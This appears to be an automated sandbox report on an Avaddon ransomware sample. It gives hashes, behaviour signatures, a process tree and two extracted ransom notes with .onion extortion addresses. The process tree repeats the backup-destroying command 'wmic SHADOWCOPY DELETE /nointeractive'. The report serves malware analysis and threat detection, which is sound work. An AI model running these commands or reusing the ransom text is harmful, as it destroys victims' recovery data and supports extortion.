Analysis

  • max time kernel
    139s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-04-2024 13:37

General

  • Target

    1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2.exe

  • Size

    775KB

  • MD5

    0b486fe0503524cfe4726a4022fa6a68

  • SHA1

    297dea71d489768ce45d23b0f8a45424b469ab00

  • SHA256

    1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2

  • SHA512

    f4273ca5cc3a9360af67f4b4ee0bf067cf218c5dc8caeafbfa1b809715effe742f2e1f54e4fe9ec8d4b8e3ae697d57f91c2b49bdf203648508d75d4a76f53619

  • SSDEEP

    24576:TCs99+OXLpMePfI8TgmBTCDqEbOpPtpFhyxfq:5GOXLpMePfzVTCD7gPtLhSfq

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\9P79Hu_readme_.txt

Family

avaddon

Ransom Note
-------=== Your network has been infected! ===------- ***************** DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED ***************** All your documents, photos, databases and other important files have been encrypted and have the extension: .aCaABdCabA You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files! The only way to restore your files is to buy our special software. Only we can give you this software and only we can restore your files! We have also downloaded a lot of private data from your network. If you do not contact as in a 3 days we will post information about your breach on our public news website (avaddongun7rngel.onion) and after 7 days the whole downloaded info. You can get more information on our page, which is located in a Tor hidden network. How to get to our page -------------------------------------------------------------------------------- | | 1. Download Tor browser - https://www.torproject.org/ | | 2. Install Tor browser | | 3. Open link in Tor browser - avaddonbotrxmuyl.onion | | 4. Follow the instructions on this page | -------------------------------------------------------------------------------- Your ID: -------------------------------------------------------------------------------- MjY2NC14aWpMUHNnaDcvQlRRMkl0MUNxRGxnYzRpVmVSOWpDSERKbUtSU0VLa0RIckd5WnMwdm1yN0xDUDYrZlowY2MrK2xxd0h4NS9WVWFYOWFjUDltOTZVVFZMRzREaWlvZVhkVy9sNStMQ2NVaTUrYmJ1ejA1emwzc3RCQW9MMjdPTTY3WVNBR1BhQkYySkorZU5CNDFYR1Jmakp3cEN1M0E5ZkhoVnJZWE9Ya2N3bmMwZDg0VnJpQ1hacFZPbHl0YjY3SkpvMURtRG5wRHVLbENFa3kzVGZRMEVEeEZDR0hkYStjb3VOazVHVHpqS2gxaEtFS0tNbDdpUFJHbnR1QkcxRGR3bUZob1pnemIyVVpoN1NLVkxoUktSbkIvM21PS2hTZGJ6c2U2bVB2VmdkRE4zbFFBbjFzYzZVUmkydCtUL0RyYkswazdkRmR6ZkpUMVNiQng5SmVNa2U1eEh6TUpDNnQ2SUtaUTB1TGpUUVdBVVN3MVJSN1hQazlEK08vdHdEcnZJSHg3ZUdzc0VGNmhpVXRNUEJqcFBINm5JckVVQTV5SVhzNVNNYXVFY25rTnEzSEJmaEFYMHhhU200TlZBYUVoeWVVRHN5ay9HRnRxaTVTQ1l2Z2FFRHJKMWFoT3pLSFN2QVkzTTFwSlJlSVJvUFZVMGxlU0hDUjFiaHNkdDY1RzVGL2tjUk1Uc0YzRDArV1BSbENneU1DMisxMUk0bmV6UDBGSXZLRjhEc0RMUFNLUkY3bFNsNHoxOU1mdFBxTDI5bjdqZTR2ajVVay9vNDlUa1hURkc3TnRjTldCRkwzZGI4THRZZG5kUVhNOUJsQXF1eVUrR3ozOVBVTkxFVU5nanlRdzBqTzBFblJmMWJjcHJndVJSSHFadkNNNUZYY1dkMmE3TDB2TnZOSjdpYm1MbGgzWnR0MEhSK2Yvckx5TmdGcGgzMXNLTmhUdHhFb2VyaE1ZZUdPUmRmK2l0dWFTV0M1dVlrV3FVRWszcHJxZjVmNUM1RlgrMy9RSEdMZ25UU25QdE80QzIxMnF6RDdHQlVGTVJ6bW55NWZHUmpPcG9VTFJPZUJUUmtTdzB5SVRqdWNxU3NDbENkcms1d2EwSnJMNWg5S1dyRjJ4YVFVa09JTXB6OG1yZkxqVjhKYk03RDZjM3pOK1p4WHhGRVlBTnBEdTFtSnpDc1VKQm1KenlHNlJWSGl2QmZkWWZjTjdXUGVmN3Q2Q2ZYTm1uNjg1V0tDbWVkRVdDZFFzVy8rSHY3bU94c3lXcFpvU0dWVDMwN3ZSZXZ4WCtPcTAwUExNSFZlYmJJb3ZPR082dE9EUndlci9xcURzdWhDZnczUlRxTjVzVUs5NjlmNm1uSzl2dk0raDlPL0lIdk1lUEd3Q2dZS0UyRVE2U0p5SmV5eVAwTVJEMndKRytwY0VxYkVxaStWNjJpdk9LQlEzeEpRSUpra0VUWE4xY3B6VmpaRmV1QTBUTHN1VER2REFoejZLOTZXcGF5VG1UcUt0ZktNRDA2UDJRdXlGaFg5UVh5RGZYazVCQmlpd0Nibno3MlkwTjJoMHNuSUdKRjF3dDdndDdVTWFLNDRaMU9pZFVRSGRRbnBVN0lLMTBTbk51QzUvbFB6MzM4dkFhVG9RUXJLUXVaQTlmZW01RXZldlBEWDhueXJJbWRBajBMYnNkSVR1Nmp3LzN5ait5Y0toamxGQmQ2eUlBRTVObVY4VlpwczFBT0p4QS9OU3RBZzk0MXU3TkVZOEZac3NTcTRNa2w5bm5neFYxeUV1QWE5TlpRSmRBQmRkcERYMitzN3JzR1I5TXRTaFROaDhRZEY4YUJjMXlpZXVDWVpoT0ZrUlU3NkFrbkhlc3o5RWpJbnhLWm5Ma1h4aDFoZEVaZmdVUitTOSsyWldHWkZaMS96aU15R1NGL25laWZUQXJLaE5LTjUwRGhjaHh1RWRpaGdBbE1oRWxtZlc0dVR1alUwbmRJc1d5d01hYjBMQXlweEVCMXhOUWRqTzdLVU83aFFqR0haak0zYVowMEsybzFrMHY4cDVxcFlkcVlIRkRWLzRvMzh1ekxhekhVRGxqVlpuYUd4Zi9EeTZTM2VVR3A0c2d6a0ZCNVR4WXg4Q3RFWGZ6K0RXbU4xY0JiV2pseGxqY3pCWHkvZz09 -------------------------------------------------------------------------------- * DO NOT TRY TO RECOVER FILES YOURSELF! * DO NOT MODIFY ENCRYPTED FILES! * * * OTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * * * V1iW66uiF7
URLs

http://avaddongun7rngel.onion

http://avaddonbotrxmuyl.onion

Extracted

Path

C:\Users\Admin\Downloads\9P79Hu_readme_.txt

Family

avaddon

Ransom Note
-------=== Your network has been infected! ===------- ***************** DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED ***************** All your documents, photos, databases and other important files have been encrypted and have the extension: .aCaABdCabA You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files! The only way to restore your files is to buy our special software. Only we can give you this software and only we can restore your files! We have also downloaded a lot of private data from your network. If you do not contact as in a 3 days we will post information about your breach on our public news website (avaddongun7rngel.onion) and after 7 days the whole downloaded info. You can get more information on our page, which is located in a Tor hidden network. How to get to our page -------------------------------------------------------------------------------- | | 1. Download Tor browser - https://www.torproject.org/ | | 2. Install Tor browser | | 3. Open link in Tor browser - avaddonbotrxmuyl.onion | | 4. Follow the instructions on this page | -------------------------------------------------------------------------------- Your ID: -------------------------------------------------------------------------------- MjY2NC14aWpMUHNnaDcvQlRRMkl0MUNxRGxnYzRpVmVSOWpDSERKbUtSU0VLa0RIckd5WnMwdm1yN0xDUDYrZlowY2MrK2xxd0h4NS9WVWFYOWFjUDltOTZVVFZMRzREaWlvZVhkVy9sNStMQ2NVaTUrYmJ1ejA1emwzc3RCQW9MMjdPTTY3WVNBR1BhQkYySkorZU5CNDFYR1Jmakp3cEN1M0E5ZkhoVnJZWE9Ya2N3bmMwZDg0VnJpQ1hacFZPbHl0YjY3SkpvMURtRG5wRHVLbENFa3kzVGZRMEVEeEZDR0hkYStjb3VOazVHVHpqS2gxaEtFS0tNbDdpUFJHbnR1QkcxRGR3bUZob1pnemIyVVpoN1NLVkxoUktSbkIvM21PS2hTZGJ6c2U2bVB2VmdkRE4zbFFBbjFzYzZVUmkydCtUL0RyYkswazdkRmR6ZkpUMVNiQng5SmVNa2U1eEh6TUpDNnQ2SUtaUTB1TGpUUVdBVVN3MVJSN1hQazlEK08vdHdEcnZJSHg3ZUdzc0VGNmhpVXRNUEJqcFBINm5JckVVQTV5SVhzNVNNYXVFY25rTnEzSEJmaEFYMHhhU200TlZBYUVoeWVVRHN5ay9HRnRxaTVTQ1l2Z2FFRHJKMWFoT3pLSFN2QVkzTTFwSlJlSVJvUFZVMGxlU0hDUjFiaHNkdDY1RzVGL2tjUk1Uc0YzRDArV1BSbENneU1DMisxMUk0bmV6UDBGSXZLRjhEc0RMUFNLUkY3bFNsNHoxOU1mdFBxTDI5bjdqZTR2ajVVay9vNDlUa1hURkc3TnRjTldCRkwzZGI4THRZZG5kUVhNOUJsQXF1eVUrR3ozOVBVTkxFVU5nanlRdzBqTzBFblJmMWJjcHJndVJSSHFadkNNNUZYY1dkMmE3TDB2TnZOSjdpYm1MbGgzWnR0MEhSK2Yvckx5TmdGcGgzMXNLTmhUdHhFb2VyaE1ZZUdPUmRmK2l0dWFTV0M1dVlrV3FVRWszcHJxZjVmNUM1RlgrMy9RSEdMZ25UU25QdE80QzIxMnF6RDdHQlVGTVJ6bW55NWZHUmpPcG9VTFJPZUJUUmtTdzB5SVRqdWNxU3NDbENkcms1d2EwSnJMNWg5S1dyRjJ4YVFVa09JTXB6OG1yZkxqVjhKYk03RDZjM3pOK1p4WHhGRVlBTnBEdTFtSnpDc1VKQm1KenlHNlJWSGl2QmZkWWZjTjdXUGVmN3Q2Q2ZYTm1uNjg1V0tDbWVkRVdDZFFzVy8rSHY3bU94c3lXcFpvU0dWVDMwN3ZSZXZ4WCtPcTAwUExNSFZlYmJJb3ZPR082dE9EUndlci9xcURzdWhDZnczUlRxTjVzVUs5NjlmNm1uSzl2dk0raDlPL0lIdk1lUEd3Q2dZS0UyRVE2U0p5SmV5eVAwTVJEMndKRytwY0VxYkVxaStWNjJpdk9LQlEzeEpRSUpra0VUWE4xY3B6VmpaRmV1QTBUTHN1VER2REFoejZLOTZXcGF5VG1UcUt0ZktNRDA2UDJRdXlGaFg5UVh5RGZYazVCQmlpd0Nibno3MlkwTjJoMHNuSUdKRjF3dDdndDdVTWFLNDRaMU9pZFVRSGRRbnBVN0lLMTBTbk51QzUvbFB6MzM4dkFhVG9RUXJLUXVaQTlmZW01RXZldlBEWDhueXJJbWRBajBMYnNkSVR1Nmp3LzN5ait5Y0toamxGQmQ2eUlBRTVObVY4VlpwczFBT0p4QS9OU3RBZzk0MXU3TkVZOEZac3NTcTRNa2w5bm5neFYxeUV1QWE5TlpRSmRBQmRkcERYMitzN3JzR1I5TXRTaFROaDhRZEY4YUJjMXlpZXVDWVpoT0ZrUlU3NkFrbkhlc3o5RWpJbnhLWm5Ma1h4aDFoZEVaZmdVUitTOSsyWldHWkZaMS96aU15R1NGL25laWZUQXJLaE5LTjUwRGhjaHh1RWRpaGdBbE1oRWxtZlc0dVR1alUwbmRJc1d5d01hYjBMQXlweEVCMXhOUWRqTzdLVU83aFFqR0haak0zYVowMEsybzFrMHY4cDVxcFlkcVlIRkRWLzRvMzh1ekxhekhVRGxqVlpuYUd4Zi9EeTZTM2VVR3A0c2d6a0ZCNVR4WXg4Q3RFWGZ6K0RXbU4xY0JiV2pseGxqY3pCWHkvZz09 -------------------------------------------------------------------------------- * DO NOT TRY TO RECOVER FILES YOURSELF! * DO NOT MODIFY ENCRYPTED FILES! * * * OTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * * * s9KsRIhV5jbzN
URLs

http://avaddongun7rngel.onion

http://avaddonbotrxmuyl.onion

Signatures

  • Avaddon

    Ransomware-as-a-service first released in June 2020 and currently expanding its userbase among criminal actors.

  • Avaddon payload 1 IoCs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • UAC bypass 3 TTPs 2 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Renames multiple (151) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Executes dropped EXE 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2.exe
    "C:\Users\Admin\AppData\Local\Temp\1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:5064
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic SHADOWCOPY DELETE /nointeractive
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4956
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic SHADOWCOPY DELETE /nointeractive
      2⤵
        PID:2640
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        wmic SHADOWCOPY DELETE /nointeractive
        2⤵
          PID:1596
      • C:\Windows\system32\wbem\wmic.exe
        wmic SHADOWCOPY DELETE /nointeractive
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of AdjustPrivilegeToken
        PID:628
      • C:\Windows\system32\wbem\wmic.exe
        wmic SHADOWCOPY DELETE /nointeractive
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of AdjustPrivilegeToken
        PID:4568
      • C:\Windows\system32\wbem\wmic.exe
        wmic SHADOWCOPY DELETE /nointeractive
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of AdjustPrivilegeToken
        PID:3956
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
          PID:516
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2.exe
          1⤵
          • Executes dropped EXE
          PID:2340

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2.exe

          Filesize

          775KB

          MD5

          0b486fe0503524cfe4726a4022fa6a68

          SHA1

          297dea71d489768ce45d23b0f8a45424b469ab00

          SHA256

          1228d0f04f0ba82569fc1c0609f9fd6c377a91b9ea44c1e7f9f84b2b90552da2

          SHA512

          f4273ca5cc3a9360af67f4b4ee0bf067cf218c5dc8caeafbfa1b809715effe742f2e1f54e4fe9ec8d4b8e3ae697d57f91c2b49bdf203648508d75d4a76f53619

        • C:\Users\Admin\Desktop\9P79Hu_readme_.txt

          Filesize

          3KB

          MD5

          0331171d915071388848efc0bcc28dbb

          SHA1

          591674a6311afaad7d9980d326141f3613b73550

          SHA256

          bbc9ff1e3a1a16959647dbb92d81e1422813bb7274296e98d93d0f3bb45bd381

          SHA512

          85cbdf8431df226a0f11f5170d6f9a4f68462889827491c3c788bd2e79862823ca013e21a7cf2527b97c851e512ad7b92c84549296fa49da02f7b94dc6215332

        • C:\Users\Admin\Downloads\9P79Hu_readme_.txt

          Filesize

          3KB

          MD5

          90c80260d1f35de48ec6a19656eaa989

          SHA1

          e09b49f98c1859fdf5b0d24d3ab0f868ffeafcd6

          SHA256

          36cdefb6402018da623d61cb5f209f20a8eb1e51ccf3aed94d101716aa6c0218

          SHA512

          5b89e3d70306d83f7510d8e277faae58cdeea0ba451c2630401e907f264c4f27558b80219d44abce16930f996d3e75d8933b7687092ffa76ed6c04fad32ef770